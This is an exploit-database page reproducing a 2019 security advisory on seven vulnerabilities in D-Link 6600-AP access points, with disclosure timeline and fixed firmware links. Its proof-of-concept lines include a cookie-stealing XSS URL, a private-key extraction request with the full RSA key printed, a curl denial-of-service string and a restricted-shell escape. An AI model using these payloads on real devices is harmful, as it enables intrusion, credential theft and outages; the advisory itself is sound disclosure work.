Exploitalert - Database of Exploits

D-Link 6600-AP XSS / DoS / Information Disclosure

CVE	Category	Price	Severity
CVE-2019-14338	CWE-79	Not specified	Medium

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2019-08-01

CPE
cpe:cpe:/h:d-link:d-link_6600_ap

CVSS	EPSS	EPSSP
CVSS:4.0/AV:A/AC:N/PR:L/UI:N/S:U/C:L/I:L/A:L	0.20928	0.60402

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Adjacent	AV	The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	Low	A	There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.

https://cxsecurity.com/ascii/WLB-2019080003

D-Link 6600-AP XSS / DoS / Information Disclosure

# Security Advisory - 22/07/2019 ## Multiple vulnerabilities found in the D-Link 6600-AP device running the latest firmware (version 4.2.0.14). D-Link 6600-AP is not produced anymore but the support is still provided by D-Link as per described on the D-Link website. Not that this product is built for business customers of D-Link and we can expect to have thousands of devices at risk. Code base shared with DWL-3600AP and DWL-8610AP ### This advisory is sent to D-Link the 22/05/2019 Many Thanks to the D-Link Security Team for their prompt reactivity! ### Affected Product D-Link 6600-AP, DWL-3600AP + Vulnerability number 2 affects also DWL-8610AP ### Firmware version 4.2.0.14 Revision Ax date: 21/03/2019 ### Last version available https://eu.dlink.com/uk/en/products/dwl-6600ap-unified-wireless-n-simultaneous-dual-band-poe-access-point ### Product Identifier WLAN-EAP ### Hardware Version A2 ### Manufacturer D-LINK ## Product Description The DWL-6600AP is designed to be the best-in-class indoor Access Point for business environments. With high data transmission speeds, load balancing features, it can be deployed as a standalone wireless Access Point or used as the foundation for a managed wireless network. Source: https://eu.dlink.com/uk/en/products/dwl-6600ap-unified-wireless-n-simultaneous-dual-band-poe-access-point ## List of Vulnerabilities 1. CVE-2019-14338 - Post-authenticated XSS 2. CVE-2019-14334 - Post-authenticated Certificate and RSA Private Key extraction through http command 3. CVE-2019-14333 - Pre-authenticated Denial of service leading to the reboot of the AP 4. CVE-2019-14337 - Escape shell in the restricted command line interface 5. CVE-2019-14335 - Post-authenticated Denial of service leading to the reboot of the AP 6. CVE-2019-14336 - Post-authenticated Dump all the config files (post-auth) 7. CVE-2019-14332 - Use of weak ciphers for SSH ### 1. Post-authenticated XSS #### Exploitation: Local #### Severity Level: High #### CVE ID : CVE-2019-14338 #### Proof-of concept Example 1: http://10.90.90.91/admin.cgi?action=<script>alert(document.cookie)</script> Example 2: http://10.90.90.91/admin.cgi?action=+guest<script>alert('Pwned')</script> ### 2. Post-authenticated Certificate and RSA Private Key extraction through http command #### Exploitation: Local #### Severity Level: High #### CVE ID : CVE-2019-14334 #### Proof-of concept http://10.90.90.91/sslcert-get.cgi? Result of the command: File "mini_httpd.pem" automatically extracted -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAoGIBvZNlPN9AamssqnZj4Rmyox1t3OzN4KyAy5lI5inBHCee Hk5LPqKSS9hUn6Aia+ym6GYbYhrw2T7qSlXmdtIzqmC6ctw/1Zg/Nv7upcIj6s+o BioQrS3i++3pDqkenj7HqWb3NP7ExMmGEnzkMMVHGOkJew31VXBrI5d7INbaAg1B vsMYlUANfg96QLySyC6AwiZv55d6DpmgFzt7r8Yx6hkhZsxL9ZB4O8QnvEpjAL9t 7KUgVXtsO1FBYwp/elhK1nGtIcj1iq26G6e+vN61ePNjxIw3pwegbELrnc3b0f6c unyx9ntVNHC4yt3japRfFgxrMY4kgRgXfWej3wIDAQABAoIBAQCY25AJHPg6QhVk 1+zkMp4TJqjpad0R2OiHoCHI6rleFKGmseOzwq9YbR2+B9rvoHHuJskVamvi3wZ6 J8qpOqHC0ajIVBSf8GcurkJhqivN8/DDlVLxPRpT1A4oSqH7hRhXfkJRpH8sFT14 yRFtgXcDPKL8jO6qR61x1wlmDLQfoOPBnBjW9eDb5V5C/pNml3FgEs2XRh19py9Z 0AvKjyk/QJHRKSQ7cy2Qm5MFj9yulTFeTEVkXnPqOi8C0aZOqTFWxLi/TMUTHbsc fmDG0qkkiZMHw7K4kxWA1+ipkoBCCHjGoMrAOvyCm+MqapZQBScMMz2i13ekmADB i5Ka5fmRAoGBANT4rZONkQ/qFiPXTfwPSYCO9IPTJ+ZZQD1CbZt09r2HpN+bEfVb dAacfLWjPhG2hGlaYPDoGXqTN9llZI6qkR6TyutlOBbGG2TmR19cN60k3sgOm/eJ OztmyIWGeRsWlaP0Yvo+zySSzWOm1HdK0gLL+aJKd7/q9rtLxseCgxabAoGBAMDJ VuqAUWeKmrgMydgTlZ0IgtgcxpCwN1Spv0ECpygVrfPp0OCx+bsdajUBL/vha5Q9 J3JmaPC3rE0mIzhH7n0jrUkhSCCTfOo7+wSZzK2q6D+CykTLfm/zobeAy/Z+k7Wr H975ALD3R+qog44sGnBnznHZkYcRxYNy2/a6t1oNAoGAPJbnIwRykbmCRP4bFKvw uF9zVxG610DrEsKUVlbnX7J4iJkgedJj5wGcRTzFCtsHPsXUsJUHsqSxjerXufLy yGU5pNCuLWR9JK6S/aFJwbusmfP2EW18aYDraXmBeOBrADMl+ZXm7rvJLSGobqvd pagMREy1Vuds/IopaldKHiMCgYAQcNs1sm2+y8Y4Dfcksz7eHnyyG3ofmreNQ9Co paZFt9uW4ojKsMLgXzjQfmJuM6IuCS0VB4DJjpBmH+t/ADtpdqJviyQQiyNrAmR8 1vTqlpmp2OiRB12oBHn1IUnDorXMF2TnagrSDLSYYXiepko27dNgSDKt9ykF9cSm fPPn/QKBgFMVmV/rBJBHZvlOy00spSpbHXRnKqh+eTchjRfsUJJIxwJ08sI94dYS okObkFKhW+Kin1IjNv5EYBJBxBi/JOPRxuyS4WwCMM++NSgqmqjPdWxhQ1lD87px bgg22CyrDBw92O4AjPIln+OvdDCKgkwhQPFwBi5K1qKCvV08SrxY -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIDpTCCAo2gAwIBAgIEauy7rDANBgkqhkiG9w0BAQsFADB3MRQwEgYDVQQDEwsx MC45MC45MC45MTEVMBMGA1UEChMMRC1MaW5rIENvcnAuMRUwEwYDVQQLEwxELUxp bmsgQ29ycC4xFDASBgNVBAcTC1RhaXBlaSBDaXR5MQ4wDAYDVQQIEwVOZWlodTEL MAkGA1UEBhMCVFcwHhcNOTkxMjMxMjAwMDIxWhcNMTkxMjI2MjAwMDIxWjCBsTEU MBIGA1UEAxMLMTAuOTAuOTAuOTExFTATBgNVBAoTDEQtTGluayBDb3JwLjEVMBMG A1UECxMMRC1MaW5rIENvcnAuMRQwEgYDVQQHEwtUYWlwZWkgQ2l0eTEOMAwGA1UE CBMFTmVpaHUxCzAJBgNVBAYTAlRXMQswCQYDVQQGEwJUVzEUMBIGA1UEAxMLMTAu OTAuOTAuOTExFTATBgNVBAoTDEQtTGluayBDb3JwLjCCASIwDQYJKoZIhvcNAQEB BQADggEPADCCAQoCggEBAKBiAb2TZTzfQGprLKp2Y+EZsqMdbdzszeCsgMuZSOYp wRwnnh5OSz6ikkvYVJ+gImvspuhmG2Ia8Nk+6kpV5nbSM6pgunLcP9WYPzb+7qXC I+rPqAYqEK0t4vvt6Q6pHp4+x6lm9zT+xMTJhhJ85DDFRxjpCXsN9VVwayOXeyDW 2gINQb7DGJVADX4PekC8ksgugMImb+eXeg6ZoBc7e6/GMeoZIWbMS/WQeDvEJ7xK YwC/beylIFV7bDtRQWMKf3pYStZxrSHI9YqtuhunvrzetXjzY8SMN6cHoGxC653N 29H+nLp8sfZ7VTRwuMrd42qUXxYMazGOJIEYF31no98CAwEAATANBgkqhkiG9w0B AQsFAAOCAQEAb3SE7yOLixTbiSHvG/6QPGYYyo/Z7FcGOGya0wzw1MxG6lETYlSS 7A6Jm0b15VFuMOsDzucWNfLN8OfnImMpB9MqLhIU3gdx7yFpLw1ehXcrWK+TWqME 9SXIolyThrza9IV2I9+WKD4i7IfhIf4mm5OFyAh/vIpZQIpdjJiCOFKgCnihqYF5 beF63wqXndYsX2LkArXRhEWUmoRHQQgZoeEFTHhBYAlNbynXVkKKxTeFJZ24TDuE 45QTRcomj/vJAV94PM7cEAqUdHGM+HJxShcrODViwpSGiwiwCuuSxvo2wj3VLyef MjAqvgTdQBIKlTBaHnuQOm4FZmN6sJUEdQ== -----END CERTIFICATE----- ### 3. Pre-authenticated Denial of service leading to the reboot of the AP #### Exploitation: Local #### Severity Level: High #### CVE ID: CVE-2019-14333 #### Proof-of concept kali# curl -X POST 'http://10.90.90.91/admin.cgi?action=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ### 4. Escape shell in the restricted command line interface #### Exploitation: Local #### Severity Level: High #### CVE ID : CVE-2019-14337 #### Proof-of concept DLINK-WLAN-AP# wget Invalid command. DLINK-WLAN-AP# `/bin/sh -c wget` BusyBox v1.18.2 (2019-01-24 14:39:11 IST) multi-call binary. Usage: wget [-c|--continue] [-s|--spider] [-q|--quiet] [-O|--output-document FILE] [--header 'header: value'] [-Y|--proxy on/off] [-P DIR] [--no-check-certificate] [-U|--user-agent AGENT][-T SEC] URL Retrieve files via HTTP or FTP Options: -s Spider mode - only check file existence -c Continue retrieval of aborted transfer -q Quiet -P DIR Save to DIR (default .) -T SEC Network read timeout is SEC seconds -O FILE Save to FILE ('-' for stdout) -U STR Use STR for User-Agent header -Y Use proxy ('on' or 'off') DLINK-WLAN-AP# ### 5. Post-authenticated Denial of service leading to the reboot of the AP #### Exploitation: Local #### Severity Level: High #### CVE ID : CVE-2019-14335 #### Proof-of concept http://10.90.90.91/admin.cgi?action=%s ### 6. Post-authenticated Dump all the config files #### Exploitation: Local #### Severity Level: High #### CVE ID : CVE-2019-14336 #### Proof-of concept http://10.90.90.91/admin.cgi?action= ### 7. Use of weak ciphers #### Exploitation: Local #### Severity Level: High #### CVE ID : CVE-2019-14332 #### Proof-of concept root@kali:~# ssh -l admin 10.90.90.91 -oKexAlgorithms=diffie-hellman-group1-sha1 The authenticity of host '10.90.90.91 (10.90.90.91)' can't be established. RSA key fingerprint is SHA256:X8FPwxBpaDJq77gKs/HxggThGUIXWH4nu6tukuW6PGI. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.90.90.91' (RSA) to the list of known hosts. [email protected]'s password: Enter 'help' for help. DLINK-WLAN-AP# help ## Report Timeline 22/05/2019 : This advisory is sent to D-Link - the contents of this Report will be made public within 30 days. 22/06/2019 : Public release of the security advisory to mailing list ## Fixes/Updates ftp://ftp2.dlink.com/PRODUCTS/DWL-3600AP/REVA/DWL-3600AP_REVA_FIRMWARE_v4.2.0.15.zip ftp://ftp2.dlink.com/PRODUCTS/DWL-6600AP/REVA/DWL-6600AP_REVA_FIRMWARE_v4.2.0.15.zip ## About me - [email protected] #### Independent EMSecurity Researcher in the field of IoT under the Sun #### Always open to hack and share #### Greetings - Ack P. Kim and others for the online resources

Impressum